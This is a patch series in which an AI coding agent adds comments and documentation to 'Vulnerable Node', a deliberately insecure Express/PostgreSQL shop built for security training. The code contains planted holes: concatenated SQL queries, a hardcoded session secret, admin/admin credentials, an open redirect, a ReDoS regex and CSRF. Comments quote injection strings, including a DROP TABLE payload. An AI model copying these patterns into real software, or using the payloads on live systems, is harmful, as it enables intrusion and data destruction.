From 14d993de35e0b8faf6206c18b53e09406d81abce Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Wed, 5 Nov 2025 09:30:49 +0000 Subject: [PATCH 1/4] Initial plan From e4bd752306d6e7918dbf6d14e655be9f25f0a30c Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Wed, 5 Nov 2025 09:38:55 +0000 Subject: [PATCH 2/4] Add comprehensive inline comments to all JavaScript files Co-authored-by: nebuk89 <2938470+nebuk89@users.noreply.github.com> --- app.js | 105 +++++++++++++++++++++++++----------- config.js | 34 +++++++++--- dummy.js | 37 ++++++++++--- model/auth.js | 30 +++++++++++ model/init_db.js | 63 +++++++++++++++++----- model/products.js | 76 +++++++++++++++++++++++++- routes/login.js | 67 +++++++++++++++++++++-- routes/login_check.js | 25 +++++++++ routes/products.js | 120 +++++++++++++++++++++++++++++++++++++++--- 9 files changed, 487 insertions(+), 70 deletions(-) diff --git a/app.js b/app.js index 08cddf25..8c8c7dca 100644 --- a/app.js +++ b/app.js @@ -1,96 +1,139 @@ +/** + * Main Application Entry Point + * + * This is the core Express.js application that sets up a deliberately vulnerable + * e-commerce website for security testing and training purposes. + * + * WARNING: This application contains intentional security vulnerabilities and + * should NEVER be deployed in a production environment. + */ + +// Core Express and middleware dependencies var express = require('express'); -var session = require('express-session') -var engine = require('ejs-locals'); +var session = require('express-session') // Session management middleware +var engine = require('ejs-locals'); // EJS templating engine with layout support var path = require('path'); var favicon = require('serve-favicon'); var fs = require("fs"); -var logger = require('morgan'); +var logger = require('morgan'); // HTTP request logger var cookieParser = require('cookie-parser'); -var bodyParser = require('body-parser'); -var log4js = require("log4js"); +var bodyParser = require('body-parser'); // Parse incoming request bodies +var log4js = require("log4js"); // Application logging framework -var init_db = require('./model/init_db'); -var login = require('./routes/login'); -var products = require('./routes/products'); +// Application modules +var init_db = require('./model/init_db'); // Database initialization +var login = require('./routes/login'); // Authentication routes +var products = require('./routes/products'); // Product management routes +// Initialize Express application var app = express(); -// config second logger +// Configure application-specific logging +// Sets up file-based logging for the vulnerable node application log4js.loadAppender('file'); -//log4js.addAppender(log4js.appenders.console()); +//log4js.addAppender(log4js.appenders.console()); // Console logging disabled log4js.addAppender(log4js.appenders.file('app-custom.log'), 'vnode'); +// Create application logger instance var logger4js = log4js.getLogger('vnode'); -logger4js.setLevel('INFO'); +logger4js.setLevel('INFO'); // Log INFO level and above +// Create write stream for HTTP access logs var accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log')) /* - * Template engine + * Template Engine Configuration + * Sets up EJS as the view engine with layout support */ app.engine('ejs', engine); +// Configure views directory location app.set('views', path.join(__dirname, 'views')); +// Set EJS as the default template engine app.set('view engine', 'ejs'); -// uncomment after placing your favicon in /public +/* + * Middleware Configuration + * Sets up the middleware pipeline for request processing + */ + +// HTTP request logging to file (combined format) app.use(logger('combined', {stream: accessLogStream})); -app.use(bodyParser()); -app.use(bodyParser.json()); -app.use(bodyParser.urlencoded({ extended: true })); + +// Body parsing middleware - parse request bodies in various formats +app.use(bodyParser()); // Generic body parser +app.use(bodyParser.json()); // JSON payload parser +app.use(bodyParser.urlencoded({ extended: true })); // URL-encoded form parser + +// Cookie parsing middleware app.use(cookieParser()); + +// Serve static files from the public directory app.use(express.static(path.join(__dirname, 'public'))); + +// Session management configuration +// VULNERABILITY: Hardcoded session secret and insecure session settings app.use(session({ - secret: 'ñasddfilhpaf78h78032h780g780fg780asg780dsbovncubuyvqy', + secret: 'ñasddfilhpaf78h78032h780g780fg780asg780dsbovncubuyvqy', // VULNERABLE: Hardcoded secret cookie: { - secure: false, - maxAge: 99999999999 + secure: false, // VULNERABLE: Cookies not restricted to HTTPS + maxAge: 99999999999 // VULNERABLE: Extremely long session lifetime } })); /* - * Routes config + * Routes Configuration + * Mounts the route handlers for different application modules */ -app.use('', products); -app.use('', login); +app.use('', products); // Product listing, search, and purchase routes +app.use('', login); // Authentication and session management routes -// catch 404 and forward to error handler +/* + * 404 Handler + * Catches all requests that don't match any routes + */ app.use(function(req, res, next) { var err = new Error('Not Found'); err.status = 404; - next(err); + next(err); // Forward to error handler }); /* - * Debug functions and error handlers + * Error Handlers + * Handles errors differently based on environment */ + +// Development error handler - includes stack traces +// VULNERABILITY: Exposes detailed error information in development mode if (app.get('env') === 'development') { app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, - error: err + error: err // VULNERABLE: Full error object exposed (includes stack trace) }); }); } -// production error handler -// no stacktraces leaked to user +// Production error handler +// Sanitizes error details to avoid information leakage app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, - error: {} + error: {} // No stack traces leaked to user }); }); /* - * Create database + * Database Initialization + * Creates and populates the PostgreSQL database with initial data */ logger4js.info("Building database") -// logger.info(("Building database"); +// Initialize database tables and populate with dummy data init_db(); +// Export the configured Express application module.exports = app; diff --git a/config.js b/config.js index 849348b0..41a7713a 100644 --- a/config.js +++ b/config.js @@ -1,28 +1,43 @@ +/** + * Configuration Management + * + * Manages environment-specific configurations for the application. + * Supports LOCAL, DEVEL, and DOCKER deployment environments. + * + * WARNING: Contains hardcoded database credentials - intentional vulnerability + */ + +// Local development configuration +// Used for development on localhost var config_local = { - // Customer module configs + // Database configuration "db": { - "server": "postgres://postgres:postgres@127.0.0.1", + "server": "postgres://postgres:postgres@127.0.0.1", // VULNERABLE: Hardcoded credentials "database": "vulnerablenode" } } +// Remote development configuration +// Used for development on remote VM var config_devel = { - // Customer module configs + // Database configuration "db": { - "server": "postgres://postgres:postgres@10.211.55.70", + "server": "postgres://postgres:postgres@10.211.55.70", // VULNERABLE: Hardcoded credentials "database": "vulnerablenode" } } +// Docker deployment configuration +// Used when running via docker-compose var config_docker = { - // Customer module configs + // Database configuration "db": { - "server": "postgres://postgres:postgres@postgres_db", + "server": "postgres://postgres:postgres@postgres_db", // VULNERABLE: Hardcoded credentials "database": "vulnerablenode" } } -// Select correct config +// Select appropriate configuration based on STAGE environment variable var config = null; switch (process.env.STAGE){ @@ -39,10 +54,13 @@ switch (process.env.STAGE){ break; default: + // Default to development configuration if STAGE not set config = config_devel; } -// Build connection string +// Build complete PostgreSQL connection string +// Format: postgres://user:password@host/database config.db.connectionString = config.db.server + "/" + config.db.database +// Export configuration object for use throughout the application module.exports = config; \ No newline at end of file diff --git a/dummy.js b/dummy.js index a55ab280..e24ba46c 100644 --- a/dummy.js +++ b/dummy.js @@ -1,11 +1,29 @@ -// This file contains dummy information data +/** + * Test Data Module + * + * Provides dummy data for database initialization including user accounts + * and product catalog. This data is used to populate the database when + * the application starts. + * + * SECURITY NOTE: Contains hardcoded credentials for demonstration purposes. + * These are intentionally weak for security testing. + */ var dummy_info = { - // Customer module configs + /** + * Test User Accounts + * + * Default credentials for testing: + * - admin/admin: Administrative account with default password + * - roberto/asdfpiuw981: Regular user account + * + * VULNERABILITY: Weak credentials (OWASP A2) + * Admin account uses trivial password "admin" + */ "users": [ { "username": "admin", - "password": "admin" + "password": "admin" // VULNERABLE: Weak default password }, { "username": "roberto", @@ -13,11 +31,17 @@ var dummy_info = { } ], + /** + * Product Catalog + * + * Dummy products with humorous descriptions for the vulnerable shop. + * Prices are randomized on each application start for variety. + */ "products": [ { "name": "My public privacy", "description": "Grant privacy in public to watch your favorite programs", - "price": parseInt(Math.random() * 100), + "price": parseInt(Math.random() * 100), // Random price 0-99 "image": "product_1.jpg" }, { @@ -35,13 +59,13 @@ var dummy_info = { { "name": "Potty Putter", "description": "The game for the avid golfers!", - "price": 20, + "price": 20, // Fixed price "image": "product_4.jpg" }, { "name": "Phone Fingers", "description": "Phone fingers work perfectly well with iPhone's touch screen and prevent fingerprints and smudges", - "price": 3, + "price": 3, // Fixed price "image": "product_5.jpg" }, { @@ -65,4 +89,5 @@ var dummy_info = { ] } +// Export dummy data object module.exports = dummy_info; \ No newline at end of file diff --git a/model/auth.js b/model/auth.js index 1d4c2218..357bbc9b 100644 --- a/model/auth.js +++ b/model/auth.js @@ -1,12 +1,42 @@ +/** + * Authentication Module + * + * Handles user authentication against the PostgreSQL database. + * + * CRITICAL VULNERABILITY: This module contains a deliberate SQL injection + * vulnerability for security training purposes. The SQL query is constructed + * using string concatenation without any input sanitization. + * + * DO NOT use this code pattern in production applications! + */ + var config = require("../config"), pgp = require('pg-promise')(); +/** + * Authenticate a user with username and password + * + * @param {string} username - The username to authenticate + * @param {string} password - The password to verify + * @returns {Promise} - Resolves with user data if credentials are valid + * + * VULNERABILITY: SQL Injection (OWASP A1) + * The function directly concatenates user input into SQL query without + * any sanitization, parameterization, or validation. + * + * Example attack: username = "admin' --" bypasses password check + */ function do_auth(username, password) { + // Create database connection var db = pgp(config.db.connectionString); + // VULNERABLE: Direct string concatenation creates SQL injection vulnerability + // Proper fix would use parameterized queries: db.one('SELECT * FROM users WHERE name = $1 AND password = $2', [username, password]) var q = "SELECT * FROM users WHERE name = '" + username + "' AND password ='" + password + "';"; + // Execute query and return promise return db.one(q); } +// Export authentication function module.exports = do_auth; \ No newline at end of file diff --git a/model/init_db.js b/model/init_db.js index 5bab5b90..e032bef0 100644 --- a/model/init_db.js +++ b/model/init_db.js @@ -1,65 +1,102 @@ +/** + * Database Initialization Module + * + * Creates database schema and populates initial data for the vulnerable + * e-commerce application. Uses a "create if not exists" pattern by attempting + * to create tables and handling errors if they already exist. + * + * Tables created: + * - users: User accounts with credentials + * - products: Product catalog + * - purchases: Purchase history + */ + var config = require("../config"); -var dummy = require("../dummy"); +var dummy = require("../dummy"); // Test data var pgp = require('pg-promise')(); -/* - THIS FILE CREATES AND POPULATE THE DATABASE +/** + * Initialize Database + * + * Creates database tables and populates them with dummy data if they don't exist. + * Uses error handling as a "table exists" check - if CREATE fails (table exists), + * it attempts to insert dummy data instead. + * + * Note: This pattern is suitable for development but not recommended for production. */ - function init_db() { - // Create tables and dummy data + // Create database connection var db = pgp(config.db.connectionString); - // Create init tables + /* + * Users Table + * Stores user authentication credentials + */ db.one('CREATE TABLE users(name VARCHAR(100) PRIMARY KEY, password VARCHAR(50));') .then(function () { + // Table created successfully (first run) }) .catch(function (err) { + // Table already exists - populate with dummy data - // Insert dummy users + // Insert dummy users from test data var users = dummy.users; for (var i = 0; i < users.length; i ++) { var u = users[i]; + // Use parameterized query (safe from SQL injection) db.one('INSERT INTO users(name, password) values($1, $2)', [u.username, u.password]) .then(function () { - // success; + // User inserted successfully }) .catch(function (err) { + // User may already exist - silently ignore }); } }); + /* + * Products Table + * Stores product catalog information + */ db.one('CREATE TABLE products(id INTEGER PRIMARY KEY, name VARCHAR(100) not null, description TEXT not null, price INTEGER, image VARCHAR(500))') .then(function () { - + // Table created successfully (first run) }) .catch(function (err) { + // Table already exists - populate with dummy data - - // Insert dummy products + // Insert dummy products from test data var products = dummy.products; for (var i = 0; i < products.length; i ++) { var p = products[i]; + // Use parameterized query (safe from SQL injection) db.one('INSERT INTO products(id, name, description, price, image) values($1, $2, $3, $4, $5)', [i, p.name, p.description, p.price, p.image]) .then(function () { - // success; + // Product inserted successfully }) .catch(function (err) { + // Product may already exist - silently ignore }); } }); + /* + * Purchases Table + * Stores customer purchase history + */ db.one('CREATE TABLE purchases(id SERIAL PRIMARY KEY, product_id INTEGER not null, product_name VARCHAR(100) not null, user_name VARCHAR(100), mail VARCHAR(100) not null, address VARCHAR(100) not null, phone VARCHAR(40) not null, ship_date VARCHAR(100) not null, price INTEGER not null)') .then(function () { - + // Table created successfully (first run) }) .catch(function (err) { + // Table already exists - no initial data needed }); } +// Export initialization function module.exports = init_db; \ No newline at end of file diff --git a/model/products.js b/model/products.js index 6df3f921..b958e7fc 100644 --- a/model/products.js +++ b/model/products.js @@ -1,7 +1,26 @@ +/** + * Product Data Access Module + * + * Provides database operations for product management including listing, + * searching, viewing details, and purchasing products. + * + * CRITICAL VULNERABILITIES: Multiple SQL injection vulnerabilities exist + * throughout this module due to unsafe query construction. + * + * DO NOT use these patterns in production applications! + */ + var config = require("../config"), pgp = require('pg-promise')(), - db = pgp(config.db.connectionString); - + db = pgp(config.db.connectionString); // Create persistent database connection + +/** + * List all products in the catalog + * + * @returns {Promise} - Array of all product records + * + * SAFE: This query has no user input and is not vulnerable + */ function list_products() { var q = "SELECT * FROM products;"; @@ -9,23 +28,64 @@ function list_products() { return db.many(q); } +/** + * Get details for a specific product by ID + * + * @param {string} product_id - The product ID to retrieve + * @returns {Promise} - Product record + * + * VULNERABILITY: SQL Injection (OWASP A1) + * Product ID is directly concatenated into query without validation + * Example attack: product_id = "1' OR '1'='1" + */ function getProduct(product_id) { + // VULNERABLE: Direct string concatenation var q = "SELECT * FROM products WHERE id = '" + product_id + "';"; return db.one(q); } +/** + * Search products by name or description + * + * @param {string} query - Search term to match against product name/description + * @returns {Promise} - Array of matching products + * + * VULNERABILITY: SQL Injection (OWASP A1) + * Search query is directly concatenated without sanitization + * Example attack: query = "'; DROP TABLE products; --" + */ function search(query) { + // VULNERABLE: User input directly embedded in ILIKE clauses var q = "SELECT * FROM products WHERE name ILIKE '%" + query + "%' OR description ILIKE '%" + query + "%';"; return db.many(q); } +/** + * Record a product purchase + * + * @param {Object} cart - Cart object containing purchase details + * @param {string} cart.mail - Customer email + * @param {string} cart.product_name - Name of purchased product + * @param {string} cart.username - Username of purchaser + * @param {string} cart.product_id - ID of purchased product + * @param {string} cart.address - Shipping address + * @param {string} cart.phone - Contact phone number + * @param {string} cart.ship_date - Requested shipping date + * @param {number} cart.price - Purchase price + * @returns {Promise} - Inserted purchase record + * + * VULNERABILITY: SQL Injection (OWASP A1) + * All cart fields are directly concatenated into INSERT statement + * Multiple injection points make this extremely vulnerable + */ function purchase(cart) { + // VULNERABLE: Multiple user inputs concatenated without any escaping var q = "INSERT INTO purchases(mail, product_name, user_name, product_id, address, phone, ship_date, price) VALUES('" + cart.mail + "', '" + cart.product_name + "', '" + @@ -41,14 +101,26 @@ function purchase(cart) { } +/** + * Get all purchases for a specific user + * + * @param {string} username - Username to retrieve purchases for + * @returns {Promise} - Array of purchase records + * + * VULNERABILITY: SQL Injection (OWASP A1) + * Username directly concatenated into WHERE clause + * Example attack: username = "' OR '1'='1" returns all purchases + */ function get_purcharsed(username) { + // VULNERABLE: Direct string concatenation var q = "SELECT * FROM purchases WHERE user_name = '" + username + "';"; return db.many(q); } +// Export object containing all product operations var actions = { "list": list_products, "getProduct": getProduct, diff --git a/routes/login.js b/routes/login.js index 5693a4e5..d9db7e7c 100644 --- a/routes/login.js +++ b/routes/login.js @@ -1,53 +1,112 @@ +/** + * Authentication Routes + * + * Handles user login, logout, and authentication workflows. + * + * VULNERABILITIES: + * - SQL Injection via auth module (OWASP A1) + * - Open Redirect via unvalidated returnurl (OWASP A10) + * - Information leakage via error messages (OWASP A6) + * - Log injection via unsanitized username (OWASP A1) + */ + var log4js = require("log4js"); var url = require("url"); var express = require('express'); -var auth = require("../model/auth"); +var auth = require("../model/auth"); // Authentication module (contains SQL injection) var router = express.Router(); +// Get application logger var logger = log4js.getLogger('vnode') -// Login template +/** + * GET /login + * Display login form + * + * Query parameters: + * - returnurl: URL to redirect to after successful login + * - error: Authentication error message to display + * + * VULNERABILITY: XSS (OWASP A3) + * Error parameter is rendered without sanitization + */ router.get('/login', function(req, res, next) { + // Parse query string parameters var url_params = url.parse(req.url, true).query; + // Render login template with return URL and any error messages + // VULNERABLE: auth_error rendered without escaping res.render('login', {returnurl: url_params.returnurl, auth_error: url_params.error}); }); -// Do auth +/** + * POST /login/auth + * Process login credentials + * + * Form body parameters: + * - username: User's login name + * - password: User's password + * - returnurl: URL to redirect to after login + * + * VULNERABILITIES: + * - SQL Injection via auth() call (OWASP A1) + * - Log Injection via unsanitized username (OWASP A1) + * - Open Redirect via returnurl (OWASP A10) + * - Sensitive data exposure via error messages (OWASP A6) + */ router.post('/login/auth', function(req, res) { + // Extract credentials and return URL from request body var user = req.body.username; var password = req.body.password; var returnurl = req.body.returnurl; + // VULNERABILITY: Log Injection + // Username is logged without sanitization - could inject malicious log entries logger.error("Tried to login attempt from user = " + user); + // Attempt authentication (VULNERABLE: SQL injection in auth module) auth(user, password) .then(function (data) { + // Authentication successful - create session req.session.logged = true; req.session.user_name = user; + // Default to home page if no return URL specified if (returnurl == undefined || returnurl == ""){ returnurl = "/"; } + // VULNERABILITY: Open Redirect (OWASP A10) + // returnurl is not validated - could redirect to external malicious site res.redirect(returnurl); }) .catch(function (err) { + // Authentication failed + // VULNERABILITY: Information Leakage (OWASP A6) + // Database error messages exposed to user via URL parameter res.redirect("/login?returnurl=" + returnurl + "&error=" + err.message); }); }); -// Do logout +/** + * GET /logout + * Log out current user and destroy session + * + * Clears session data and redirects to login page + */ router.get('/logout', function(req, res, next) { + // Clear session authentication state req.session.logged = false; req.session.user = null; + // Redirect to login page res.redirect("/login") }); +// Export router module.exports = router; diff --git a/routes/login_check.js b/routes/login_check.js index ded95102..b5cccdec 100644 --- a/routes/login_check.js +++ b/routes/login_check.js @@ -1,10 +1,35 @@ +/** + * Session Validation Middleware + * + * Checks if a user is authenticated before allowing access to protected routes. + * Redirects unauthenticated users to the login page with a return URL. + * + * VULNERABILITY: Unvalidated redirect (OWASP A10) + * The returnurl parameter is not validated, allowing open redirect attacks + */ +/** + * Check if user is logged in + * + * @param {Object} req - Express request object + * @param {Object} res - Express response object + * + * Verifies that req.session.logged is true. If not authenticated, + * redirects to login page with the current URL as a return parameter. + * + * VULNERABILITY: Open Redirect (OWASP A10) + * The returnurl parameter is constructed from req.url without validation, + * potentially allowing attackers to redirect users to malicious sites + */ function check_logged(req, res) { + // Check if user is authenticated via session if (req.session.logged == undefined || req.session.logged == false) { + // VULNERABLE: Unvalidated redirect using user-controlled req.url res.redirect("/login?returnurl=" + req.url); } } +// Export middleware function module.exports = check_logged; \ No newline at end of file diff --git a/routes/products.js b/routes/products.js index 814f834b..a3826d25 100644 --- a/routes/products.js +++ b/routes/products.js @@ -1,95 +1,191 @@ +/** + * Product Management Routes + * + * Handles product listing, searching, viewing details, and purchasing. + * All routes require authentication via check_logged middleware. + * + * VULNERABILITIES: + * - SQL Injection in multiple endpoints (OWASP A1) + * - Insecure Direct Object Reference (OWASP A4) + * - Price manipulation via client-side data (OWASP A4) + * - ReDoS via email regex validation (OWASP A5) + * - CSRF on purchase endpoint (OWASP A8) + */ + var express = require('express'); -var check_logged = require("./login_check"); +var check_logged = require("./login_check"); // Session validation middleware var url = require("url"); -var db_products = require("../model/products"); +var db_products = require("../model/products"); // Product database operations (contains SQL injection) var router = express.Router(); -/* GET home page. */ +/** + * GET / + * Display home page with product catalog + * + * Shows all available products to authenticated users. + */ router.get('/', function(req, res, next) { + // Verify user is authenticated check_logged(req, res); + // Fetch all products from database db_products.list() .then(function (data) { + // Render product catalog res.render('products', { products: data }); }) .catch(function (err) { + // Handle database errors console.log(err); + // Render empty product list on error res.render('products', { products: [] }); }); }); +/** + * GET /products/purchased + * Display user's purchase history + * + * Shows all products purchased by the currently logged-in user. + * + * VULNERABILITY: SQL Injection via username (OWASP A1) + * Session username is passed to database query without validation + */ router.get('/products/purchased', function(req, res, next) { + // Verify user is authenticated check_logged(req, res); + // Fetch purchases for current user (VULNERABLE: SQL injection in getPurchased) db_products.getPurchased(req.session.user_name) .then(function (data) { console.log(data); + // Render purchase history res.render('bought_products', { products: data }); }) .catch(function (err) { console.log(err); + // Render empty list on error res.render('bought_products', { products: [] }); }); }); +/** + * GET /products/detail + * Display detailed information for a specific product + * + * Query parameters: + * - id: Product ID to display + * + * VULNERABILITIES: + * - SQL Injection via id parameter (OWASP A1) + * - Insecure Direct Object Reference (OWASP A4) + */ router.get('/products/detail', function(req, res, next) { + // Verify user is authenticated check_logged(req, res); + // Parse query parameters var url_params = url.parse(req.url, true).query; + // Get product ID from query string (no validation) var product_id = url_params.id; + // Fetch product details (VULNERABLE: SQL injection in getProduct) db_products.getProduct(product_id) .then(function (data) { + // Render product detail page res.render('product_detail', { product: data }); }) .catch(function (err) { console.log(err); + // Render empty product list on error res.render('products', { products: [] }); }); }); +/** + * GET /products/search + * Search for products by name or description + * + * Query parameters: + * - q: Search query string + * + * VULNERABILITY: SQL Injection via search query (OWASP A1) + * Search term is passed directly to database without sanitization + */ router.get('/products/search', function(req, res, next) { + // Verify user is authenticated check_logged(req, res); + // Parse query parameters var url_params = url.parse(req.url, true).query; var query = url_params.q; + // Handle empty search - display search form if (query == undefined) { res.render('search', { in_query: "", products: [] }); return; } + // Perform search (VULNERABLE: SQL injection in search function) db_products.search(query) .then(function (data) { + // Render search results res.render('search', { in_query: query, products: data }); }) .catch(function (err) { console.log(err); + // Render empty results on error res.render('search', { in_query: query, products: [] }); }); }); +/** + * ALL /products/buy + * Process product purchase + * + * Accepts both GET and POST requests. + * + * Parameters (query string or form body): + * - mail: Customer email address + * - address: Shipping address + * - ship_date: Requested shipping date + * - phone: Contact phone number + * - product_id: ID of product to purchase + * - product_name: Name of product + * - price: Price with currency symbol (e.g., "29€") + * + * VULNERABILITIES: + * - CSRF - No CSRF token validation (OWASP A8) + * - Price Manipulation - Client provides price value (OWASP A4) + * - SQL Injection via purchase data (OWASP A1) + * - ReDoS - Email regex vulnerable to catastrophic backtracking (OWASP A5) + * - Missing Error Handling - Returns success even on database errors + */ router.all('/products/buy', function(req, res, next) { + // Verify user is authenticated check_logged(req, res); + // VULNERABILITY: CSRF (OWASP A8) + // Accepts GET requests without CSRF protection + // Both GET and POST accepted without token validation var params = null; if (req.method == "GET"){ params = url.parse(req.url, true).query; @@ -101,10 +197,14 @@ router.all('/products/buy', function(req, res, next) { try { + // Basic parameter validation if (params.price == undefined){ throw new Error("Missing parameter 'price'"); } + // Build cart object + // VULNERABILITY: Price Manipulation (OWASP A4) + // Price comes from client-side - user can modify it to any value cart = { mail: params.mail, address: params.address, @@ -116,13 +216,16 @@ router.all('/products/buy', function(req, res, next) { price: params.price.substr(0, params.price.length - 1) // remove "€" symbol } - // Check mail format + // VULNERABILITY: ReDoS (Regular Expression Denial of Service) (OWASP A5) + // This regex is vulnerable to catastrophic backtracking with inputs like: + // "aaaaaaaaaaaaaaaaaaaaaaaa@" + // The nested quantifiers cause exponential time complexity var re = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ if (!re.test(cart.mail)){ throw new Error("Invalid mail format"); } - // Checks all values is set + // Validate all required fields are present for (var prop in cart){ if (cart[prop] == undefined){ throw new Error("Missing parameter '" + prop + "'"); @@ -131,12 +234,16 @@ router.all('/products/buy', function(req, res, next) { } catch (err){ + // Return validation errors as JSON return res.status(400).json({message: err.message}); } + // Save purchase to database + // VULNERABLE: SQL injection in purchase function db_products.purchase(cart) .catch(function (err) { - + // VULNERABILITY: Error Handling (OWASP A6) + // Returns success message even when database operation fails console.log(err); return res.json({message: "Product purchased correctly"}); @@ -146,4 +253,5 @@ router.all('/products/buy', function(req, res, next) { +// Export router module.exports = router; From b9fa1fd2d7659c3ad91e75c3acc247278ce9af49 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Wed, 5 Nov 2025 09:48:27 +0000 Subject: [PATCH 3/4] Add comprehensive documentation: README enhancements and new docs Co-authored-by: nebuk89 <2938470+nebuk89@users.noreply.github.com> --- ARCHITECTURE.md | 517 +++++++++++++++++++++++++++++++++++++++++ CONTRIBUTING.md | 379 +++++++++++++++++++++++++++++++ README.md | 329 +++++++++++++++++++++++---- SECURITY.md | 555 +++++++++++++++++++++++++++++++++++++++++++++ attacks/README.md | 157 ++++++++++++- model/README.md | 467 ++++++++++++++++++++++++++++++++++++++ public/README.md | 143 ++++++++++++ routes/README.md | 313 +++++++++++++++++++++++++ services/README.md | 275 ++++++++++++++++++++++ 9 files changed, 3084 insertions(+), 51 deletions(-) create mode 100644 ARCHITECTURE.md create mode 100644 CONTRIBUTING.md create mode 100644 SECURITY.md create mode 100644 model/README.md create mode 100644 public/README.md create mode 100644 routes/README.md create mode 100644 services/README.md diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md new file mode 100644 index 00000000..8208a636 --- /dev/null +++ b/ARCHITECTURE.md @@ -0,0 +1,517 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Architecture overview and design documentation for Vulnerable Node +last_changed: 2025-11-05 +--- + +# Architecture Overview + +This document provides a comprehensive overview of the Vulnerable Node application architecture, design patterns, and component interactions. + +## Table of Contents + +- [Application Stack](#application-stack) +- [Architecture Diagram](#architecture-diagram) +- [Layer Architecture](#layer-architecture) +- [Component Interactions](#component-interactions) +- [Data Flow](#data-flow) +- [Session Management](#session-management) +- [Database Design](#database-design) +- [Deployment Architecture](#deployment-architecture) + +## Application Stack + +### Technology Stack + +| Layer | Technology | Version | Purpose | +|-------|-----------|---------|---------| +| **Runtime** | Node.js | 12.x+ | JavaScript runtime environment | +| **Framework** | Express.js | 4.13.1 | Web application framework | +| **Template Engine** | EJS | 2.4.2 | Server-side rendering | +| **Database** | PostgreSQL | 9.x+ | Relational database | +| **ORM/Query** | pg-promise | 4.4.6 | PostgreSQL client library | +| **Session** | express-session | 1.13.0 | Session middleware | +| **Logging** | log4js | 0.6.36 | Application logging | +| **HTTP Logging** | morgan | 1.6.1 | HTTP request logging | + +### Dependencies + +```json +{ + "dependencies": { + "body-parser": "~1.13.2", + "cookie-parser": "~1.3.5", + "debug": "~2.2.0", + "ejs": "^2.4.2", + "ejs-locals": "^1.0.2", + "express": "~4.13.1", + "express-session": "^1.13.0", + "log4js": "^0.6.36", + "morgan": "~1.6.1", + "pg-promise": "^4.4.6", + "serve-favicon": "~2.3.0" + } +} +``` + +## Architecture Diagram + +```mermaid +graph TB + subgraph "Client Layer" + A[Web Browser] + B[Attack Scripts] + end + + subgraph "Application Layer" + C[Express.js Server] + D[Middleware Pipeline] + E[Route Handlers] + end + + subgraph "Business Layer" + F[Authentication Logic] + G[Product Logic] + H[Purchase Logic] + end + + subgraph "Data Access Layer" + I[Model: auth.js] + J[Model: products.js] + K[Model: init_db.js] + end + + subgraph "Data Layer" + L[(PostgreSQL Database)] + end + + subgraph "Presentation Layer" + M[EJS Templates] + N[Static Assets] + end + + A --> C + B --> C + C --> D + D --> E + E --> F + E --> G + E --> H + F --> I + G --> J + H --> J + I --> L + J --> L + K --> L + E --> M + C --> N + + style A fill:#e1f5ff + style B fill:#ffe1e1 + style C fill:#fff4e1 + style L fill:#e1ffe1 + style M fill:#f0e1ff +``` + +## Layer Architecture + +### 1. Presentation Layer + +**Responsibility:** User interface and client-side logic + +**Components:** +- **EJS Templates** (`views/`) - Server-side rendered HTML +- **Static Assets** (`public/`) - CSS, JavaScript, images + +**Key Files:** +``` +views/ +├── login.ejs # Login form +├── products.ejs # Product catalog +├── product_detail.ejs # Single product view +├── search.ejs # Search results +├── bought_products.ejs # Purchase history +└── error.ejs # Error page +``` + +--- + +### 2. Application Layer + +**Responsibility:** HTTP request handling and routing + +**Components:** +- **Express Server** (`app.js`) - Main application setup +- **Route Handlers** (`routes/`) - URL endpoint definitions +- **Middleware Pipeline** - Request processing chain + +**Middleware Stack:** + +```mermaid +flowchart TD + A[Incoming Request] --> B[Morgan HTTP Logger] + B --> C[Body Parser] + C --> D[Cookie Parser] + D --> E[Session Middleware] + E --> F[Static File Server] + F --> G[Route Handlers] + G --> H[Response] + + style B fill:#e3f2fd + style C fill:#e3f2fd + style D fill:#e3f2fd + style E fill:#e3f2fd + style F fill:#e3f2fd +``` + +--- + +### 3. Business Logic Layer + +**Responsibility:** Application-specific logic and workflows + +**Components:** +- **Authentication Flow** - Login/logout handling +- **Product Catalog** - Browse and search products +- **Purchase Processing** - Order handling +- **Session Validation** - Access control + +--- + +### 4. Data Access Layer + +**Responsibility:** Database operations and queries + +**Components:** +- **auth.js** - User authentication queries +- **products.js** - Product CRUD operations +- **init_db.js** - Database initialization + +**Pattern:** Direct SQL queries (no ORM abstraction) + +--- + +### 5. Data Layer + +**Responsibility:** Data persistence + +**Components:** +- **PostgreSQL Database** - Relational storage +- **Three Tables:** users, products, purchases + +## Component Interactions + +### Authentication Flow + +```mermaid +sequenceDiagram + participant User + participant Browser + participant Express + participant Routes + participant Model + participant Database + participant Session + + User->>Browser: Enter credentials + Browser->>Express: POST /login/auth + Express->>Routes: login.js handler + Routes->>Model: auth.do_auth(user, pass) + Model->>Database: SQL Query (VULNERABLE) + Database-->>Model: User record + Model-->>Routes: Authentication result + Routes->>Session: Set logged = true + Routes->>Browser: Redirect to home + Browser->>User: Show products +``` + +### Product Purchase Flow + +```mermaid +sequenceDiagram + participant User + participant Browser + participant Routes + participant Middleware + participant Model + participant Database + + User->>Browser: Click "Buy" + Browser->>Routes: POST /products/buy + Routes->>Middleware: check_logged() + Middleware-->>Routes: Authenticated + Routes->>Routes: Validate form data + Routes->>Routes: Extract price (VULNERABLE) + Routes->>Model: purchase(cart) + Model->>Database: INSERT query (VULNERABLE) + Database-->>Model: Purchase record + Model-->>Routes: Success + Routes->>Browser: JSON response + Browser->>User: Show confirmation +``` + +### Search Flow + +```mermaid +flowchart LR + A[User enters search term] --> B[GET /products/search?q=term] + B --> C[check_logged middleware] + C --> D{Authenticated?} + D -->|No| E[Redirect to login] + D -->|Yes| F[Extract query param] + F --> G[Call products.search] + G --> H[Build SQL with ILIKE] + H --> I[Execute query VULNERABLE] + I --> J[Return results] + J --> K[Render search.ejs] + K --> L[Display to user] +``` + +## Data Flow + +### Request Processing Pipeline + +```mermaid +flowchart TD + A[HTTP Request] --> B{Static 